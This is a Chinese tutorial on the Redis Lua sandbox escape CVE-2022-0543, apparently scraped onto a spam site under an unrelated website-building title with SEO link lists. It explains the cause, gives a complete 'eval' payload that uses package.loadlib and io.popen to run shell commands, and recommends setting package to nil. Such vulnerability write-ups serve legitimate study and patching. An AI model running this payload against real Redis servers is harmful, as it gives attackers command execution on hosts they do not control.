当前位置: 首页 > news >正文

盛泽做网站永城网站建设

盛泽做网站,永城网站建设,南宁网站建设q479185700惠,株洲 网站建设 公司CVE-2022-0543 | redis的远程代码执行漏洞 简介 CVE-2022-0543 该 Redis 沙盒逃逸漏洞影响 Debian 系的 Linux 发行版本,并非 Redis 本身漏洞, 漏洞形成原因在于系统补丁加载了一些redis源码注释了的代码 原理分析 redis一直有一个攻击面,就是在用户连接redis后,可以通过ev…CVE-2022-0543 | redis的远程代码执行漏洞 简介 CVE-2022-0543 该 Redis 沙盒逃逸漏洞影响 Debian 系的 Linux 发行版本,并非 Redis 本身漏洞, 漏洞形成原因在于系统补丁加载了一些redis源码注释了的代码 原理分析 redis一直有一个攻击面,就是在用户连接redis后,可以通过eval命令执行lua脚本.但这个脚本跑在沙箱里,正常情况下无法执行命令,读取文件 所以这个CVE本质是一个沙箱绕过漏洞 Ubuntu/Debian/CentOS等这些发行版本会在原始软件的基础上打一些补丁包给Redis打了一个的补丁,增加了一个include, 下面是Debian通过shell使用make生成补丁包的源码 : debian/lua_libs_debian.c:echo // Automatically generated; do not edit. $echo luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package); $set -e; for X in $(LUA_LIBS_DEBIAN_NAMES); do \echo if (luaL_dostring(lua, \$$X require($$X);\)) $; \echo serverLog(LL_NOTICE, \Error loading $$X library\); $; \doneecho luaL_dostring(lua, module nil; require nil;); $luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package)就是漏洞的来源,。 这段代码原本在redis源码里已经是被注释了的, 将其注释掉的原因就是“for sandboxing concerns” Debian的这个补丁却把这句话重新写进去了, 导致在 Lua 沙箱中遗留了一个对象package攻击者可以利用这个package对象提供的方法加载动态链接库 liblua 里的函数进而逃逸沙箱执行任意命令 借助 Lua 沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在 Lua 中执行这个导出函数即可获得io库再使用其执行命令。 需要注意的一点是 : 不同系统下liblua5.1.so.0的路径可能不同 我们可以利用这个模块来加载任意Lua库最终逃逸沙箱执行任意命令 local io_l package.loadlib(/usr/lib/x86_64-linux-gnu/liblua5.1.so.0, luaopen_io); local io io_l(); local f io.popen(id, r); local res f:read(*a); f:close(); return resPayload: (执行命令id可以改变) eval local io_l package.loadlib(/usr/lib/x86_64-linux-gnu/liblua5.1.so.0, luaopen_io); local io io_l(); local f io.popen(id, r); local res f:read(*a); f:close(); return res 0 一、环境启动 二、直接通过redis-cli -h 127.0.0.1 -p 6379 进入redis里面进行测试 可见执行了tac /etc/passwd命令 三、漏洞修复建议 Lua 初始化的末尾添加packagenil 。
http://www.dnsts.com.cn/news/69207.html

相关文章:

  • 营销型企业网站制作网站开发的类型
  • 网站规范化建设嘉兴制作手机网站
  • 网站建设报价word文档四川城乡建设部网站
  • 房产网站开发用什么语言好镇江网签查询系统
  • 四视图网站织梦网站内容管理系统
  • 免费网站在线制作备案网站查询
  • 襄阳营销网站建设昌做网站
  • 如何建设文化企业网站安徽省建设干部学校网站
  • 东莞网站建设 塑胶五金企业建网站费用
  • 知名企业网站搭建品牌谷歌seo和百度seo区别
  • 普通网站制作奥维网络高端网站建设公司
  • 微信微网站怎么进入工艺品网站建设开发
  • 建设部网站官网造价系统机械做卖产品网站
  • 番禺制作网站报价服务器配置参数详解
  • 政务类网站软文营销文章案例
  • 站长工具介绍工业网站模板
  • 做网站要求什么江苏做网站
  • 网站没有织梦后台微信公众平台可以导入wordpress
  • 上海市建设工程交易中心网站网络架构分为几层
  • 网站建设项目可行性分析报告专门拍短视频的公司
  • 建设银行的英语网站首页做网站三大主流框架
  • flash网站案例WordPress背景音乐6
  • 山西公司响应式网站建设平台国内net开发的网站建设
  • 同德县公司网站建设seo体系
  • 做网站单网页微商城 微网站制作
  • 大型网站制作导图展厅设计费取费标准一览表
  • 网站建设注册什么公司好建设部网站电话
  • 肥西县重点建设局网站商丘百度推广
  • php做网站答辩问题备案密码找回
  • 移动网站建设条件软考中级科目难度排行